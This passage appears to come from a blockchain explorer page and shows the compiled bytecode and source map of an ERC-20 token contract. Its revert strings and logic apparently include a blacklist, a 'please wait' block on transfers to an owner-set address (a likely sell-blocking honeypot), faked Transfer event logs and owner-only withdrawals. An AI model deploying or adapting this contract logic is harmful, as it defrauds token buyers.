508051906020019080838360005b83811015612241578082015181840152602081019050612226565b50505050905090810190601f16801561226e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161228857fe5b049050809150509392505050565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f57616c6c657420697320696e2074686520626c61636b6c69737400000000000081525060200191505060405180910390fd5b50565b6000808284019050838110156123d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200f2fa3fc59ff154a85667069c665588cc3a16e6eafeefbfdc6883068e347467564736f6c634300060c0033

Deployed Bytecode

0x6080604052600436106101235760003560e01c806370a08231116100a0578063bb2f719911610064578063bb2f7199146107b5578063cae9ca51146107cc578063dcc23455146108d4578063dd62ed3e14610915578063f21129cc1461099a5761012a565b806370a082311461047b57806395d89b41146104e057806395f9bec1146105705780639e281a98146106e9578063a9059cbb146107445761012a565b806323b872dd116100e757806323b872dd146102f9578063313ce5671461038a57806338bf3cfa146103b85780635a729205146104095780635fba79f5146104645761012a565b806304b3a5c51461012f57806306fdde031461018c578063095ea7b31461021c57806318160ddd1461028d5780631ee59f20146102b85761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061018a6004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610a01565b005b34801561019857600080fd5b506101a1610b1f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e15780820151818401526020810190506101c6565b50505050905090810190601f16801561020e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022857600080fd5b506102756004803603604081101561023f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc1565b60405180821515815260200191505060405180910390f35b34801561029957600080fd5b506102a2610bdf565b6040518082815260200191505060405180910390f35b3480156102c457600080fd5b506102cd610be9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030557600080fd5b506103726004803603606081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c0f565b60405180821515815260200191505060405180910390f35b34801561039657600080fd5b5061039f610e48565b604051808260ff16815260200191505060405180910390f35b3480156103c457600080fd5b50610407600480360360208110156103db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e5f565b005b34801561041557600080fd5b506104626004803603604081101561042c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f25565b005b34801561047057600080fd5b50610479611187565b005b34801561048757600080fd5b506104ca6004803603602081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b506104f56112e2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053557808201518184015260208101905061051a565b50505050905090810190601f1680156105625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057c57600080fd5b506106e76004803603606081101561059357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105d057600080fd5b8201836020820111156105e257600080fd5b8035906020019184602083028401116401000000008311171561060457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561066457600080fd5b82018360208201111561067657600080fd5b8035906020019184602083028401116401000000008311171561069857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611384565b005b3480156106f557600080fd5b506107426004803603604081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114f1565b005b34801561075057600080fd5b5061079d6004803603604081101561076757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611758565b60405180821515815260200191505060405180910390f35b3480156107c157600080fd5b506107ca611776565b005b3480156107d857600080fd5b506108bc600480360360608110156107ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561083657600080fd5b82018360208201111561084857600080fd5b8035906020019184600183028401116401000000008311171561086a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061183b565b60405180821515815260200191505060405180910390f35b3480156108e057600080fd5b506108e9611a41565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561092157600080fd5b506109846004803603604081101561093857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a67565b6040518082815260200191505060405180910390f35b3480156109a657600080fd5b506109e9600480360360208110156109bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aed565b60405180821515815260200191505060405180910390f35b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ac4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bb75780601f10610b8c57610100808354040283529160200191610bb7565b820191906000526020600020905b815481529060010190602001808311610b9a57829003601f168201915b5050505050905090565b6000610bd5610bce611b57565b8484611b5f565b6001905092915050565b6000600654905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610cad5782600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610d7d848484611d55565b610e3d84610d89611b57565b610e388560405180606001604052806028815260200161244b602891396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dee611b57565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208a9092919063ffffffff16565b611b5f565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fe8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60006110b160646110a3848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561105a57600080fd5b505afa15801561106e573d6000803e3d6000fd5b505050506040513d602081101561108457600080fd5b810190808051906020019092919050505061214a90919063ffffffff16565b611b0d90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114657600080fd5b505af115801561115a573d6000803e3d6000fd5b505050506040513d602081101561117057600080fd5b810190808051906020019092919050505050505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461124a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611295573d6000803e3d6000fd5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561137a5780601f1061134f5761010080835404028352916020019161137a565b820191906000526020600020905b81548152906001019060200180831161135d57829003601f168201915b5050505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611447576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156114eb5782818151811061145f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106114c157fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061144a565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b330846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561162a57600080fd5b505af115801561163e573d6000803e3d6000fd5b505050506040513d602081101561165457600080fd5b8101908080519060200190929190505050508073ffffffffffffffffffffffffffffffffffffffff166323b872dd30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561171757600080fd5b505af115801561172b573d6000803e3d6000fd5b505050506040513d602081101561174157600080fd5b810190808051906020019092919050505050505050565b600061176c611765611b57565b8484611d55565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611839576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b6000826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119cf5780820151818401526020810190506119b4565b50505050905090810190601f1680156119fc5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611a1e57600080fd5b505af1158015611a32573d6000803e3d6000fd5b50505050600190509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60026020528060005260406000206000915054906101000a900460ff1681565b6000611b4f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121d0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611be5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124986024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123e26022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ddb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124736025913960400191505060405180910390fd5b611de483612296565b611e508160405180606001604052806026815260200161240460269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208a9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fa457600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561202057600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612137576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120fc5780820151818401526020810190506120e1565b50505050905090810190601f1680156121295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083141561215d57600090506121ca565b600082840290508284828161216e57fe5b04146121c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061242a6021913960400191505060405180910390fd5b809150505b92915050565b6000808311829061227c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612241578082015181840152602081019050612226565b50505050905090810190601f16801561226e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161228857fe5b049050809150509392505050565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f57616c6c657420697320696e2074686520626c61636b6c69737400000000000081525060200191505060405180910390fd5b50565b6000808284019050838110156123d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200f2fa3fc59ff154a85667069c665588cc3a16e6eafeefbfdc6883068e347467564736f6c634300060c0033

Deployed Bytecode Sourcemap

5313:5603:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7354:142;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5974:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7506:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6251:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10237:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6767:420;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6160:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7681:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7809:239;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9537:139;;;;;;;;;;;;;:::i;:::-;;6359:119;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6065:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9142:216;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5615:351;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6582:175;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7754:47;;;;;;;;;;;;;:::i;:::-;;9684:322;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;10266:66;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7195:151;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5487:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7354:142;9421:6;;;;;;;;;;;9407:20;;:10;:20;;;9399:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7472:16:::1;7444:15;:25;7460:8;7444:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;7354:142:::0;;:::o;5974:83::-;6011:13;6044:5;6037:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5974:83;:::o;7506:169::-;7589:4;7606:39;7615:12;:10;:12::i;:::-;7629:7;7638:6;7606:8;:39::i;:::-;7663:4;7656:11;;7506:169;;;;:::o;6251:100::-;6304:7;6331:12;;6324:19;;6251:100;:::o;10237:20::-;;;;;;;;;;;;;:::o;6767:420::-;6873:4;6899:6;;;;;;;;;;;6889:16;;:6;:16;;;6886:92;;;6915:9;6907:5;;:17;;;;;;;;;;;;;;;;;;6886:92;;;6957:5;;;;;;;;;;;6944:18;;:9;:18;;;;6936:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6886:92;6989:36;6999:6;7007:9;7018:6;6989:9;:36::i;:::-;7036:121;7045:6;7053:12;:10;:12::i;:::-;7067:89;7105:6;7067:89;;;;;;;;;;;;;;;;;:11;:19;7079:6;7067:19;;;;;;;;;;;;;;;:33;7087:12;:10;:12::i;:::-;7067:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7036:8;:121::i;:::-;7175:4;7168:11;;6767:420;;;;;:::o;6160:83::-;6201:5;6226:9;;;;;;;;;;;6219:16;;6160:83;:::o;7681:65::-;9421:6;;;;;;;;;;;9407:20;;:10;:20;;;9399:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7681:65;:::o;7809:239::-;9421:6;;;;;;;;;;;9407:20;;:10;:20;;;9399:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7894:15:::1;7912:63;7971:3;7912:54;7958:7;7919:8;7912:26;;;7947:4;7912:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;:45;;:54;;;;:::i;:::-;:58;;:63;;;;:::i;:::-;7894:81;;7993:8;7986:25;;;8012:18;;;;;;;;;;;8032:7;7986:54;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;9466:1;7809:239:::0;;:::o;9537:139::-;9421:6;;;;;;;;;;;9407:20;;:10;:20;;;9399:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9590:22:::1;9615:10;9590:35;;9632:6;:15;;:38;9648:21;9632:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;9466:1;9537:139::o:0;6359:119::-;6425:7;6452:9;:18;6462:7;6452:18;;;;;;;;;;;;;;;;6445:25;;6359:119;;;:::o;6065:87::-;6104:13;6137:7;6130:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6065:87;:::o;9142:216::-;9421:6;;;;;;;;;;;9407:20;;:10;:20;;;9399:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9265:9:::1;9260:97;9284:9;:16;9280:1;:20;9260:97;;;9329:9;9339:1;9329:12;;;;;;;;;;;;;;9313:42;;9322:5;9313:42;;;9343:8;9352:1;9343:11;;;;;;;;;;;;;;9313:42;;;;;;;;;;;;;;;;;;9302:3;;;;;;;9260:97;;;;9142:216:::0;;;:::o;5615:351::-;9421:6;;;;;;;;;;;9407:20;;:10;:20;;;9399:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5708:20:::1;5738:14;5708:45;;5850:13;:21;;;5880:4;5887:7;5850:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;5904:13;:26;;;5939:4;5946:6;;;;;;;;;;;5954:7;5904:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;9466:1;5615:351:::0;;:::o;6582:175::-;6668:4;6685:42;6695:12;:10;:12::i;:::-;6709:9;6720:6;6685:9;:42::i;:::-;6745:4;6738:11;;6582:175;;;;:::o;7754:47::-;9421:6;;;;;;;;;;;9407:20;;:10;:20;;;9399:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7754:47::o;9684:322::-;9776:12;9832:6;9797:11;:23;9809:10;9797:23;;;;;;;;;;;;;;;:32;9821:7;9797:32;;;;;;;;;;;;;;;:41;;;;9871:7;9850:37;;9859:10;9850:37;;;9880:6;9850:37;;;;;;;;;;;;;;;;;;9917:7;9894:47;;;9942:10;9954:6;9970:4;9977;9894:88;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9996:4;9989:11;;9684:322;;;;;:::o;10266:66::-;;;;;;;;;;;;;:::o;7195:151::-;7284:7;7311:11;:18;7323:5;7311:18;;;;;;;;;;;;;;;:27;7330:7;7311:27;;;;;;;;;;;;;;;;7304:34;;7195:151;;;;:::o;5487:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;884:132::-;942:7;969:39;973:1;976;969:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;962:46;;884:132;;;;:::o;4211:106::-;4264:15;4299:10;4292:17;;4211:106;:::o;8056:354::-;8177:1;8160:19;;:5;:19;;;;8152:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8260:1;8241:21;;:7;:21;;;;8233:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8344:6;8314:11;:18;8326:5;8314:18;;;;;;;;;;;;;;;:27;8333:7;8314:27;;;;;;;;;;;;;;;:36;;;;8384:7;8368:32;;8377:5;8368:32;;;8393:6;8368:32;;;;;;;;;;;;;;;;;;8056:354;;;:::o;8583:551::-;8709:1;8691:20;;:6;:20;;;;8683:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8774:28;8795:6;8774:20;:28::i;:::-;8835:70;8857:6;8835:70;;;;;;;;;;;;;;;;;:9;:17;8845:6;8835:17;;;;;;;;;;;;;;;;:21;;:70;;;;;:::i;:::-;8815:9;:17;8825:6;8815:17;;;;;;;;;;;;;;;:90;;;;8941:32;8966:6;8941:9;:20;8951:9;8941:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;8918:9;:20;8928:9;8918:20;;;;;;;;;;;;;;;:55;;;;9008:6;;;;;;;;;;;8998:16;;:6;:16;;;8994:37;;;9025:4;;;;;;;;;;;9016:13;;8994:37;9048:6;;;;;;;;;;;9035:19;;:9;:19;;;9031:43;;;9068:4;;;;;;;;;;;9056:16;;9031:43;9106:9;9089:35;;9098:6;9089:35;;;9117:6;9089:35;;;;;;;;;;;;;;;;;;8583:551;;;:::o;422:192::-;508:7;541:1;536;:6;;544:12;528:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;568:9;584:1;580;:5;568:17;;605:1;598:8;;;422:192;;;;;:::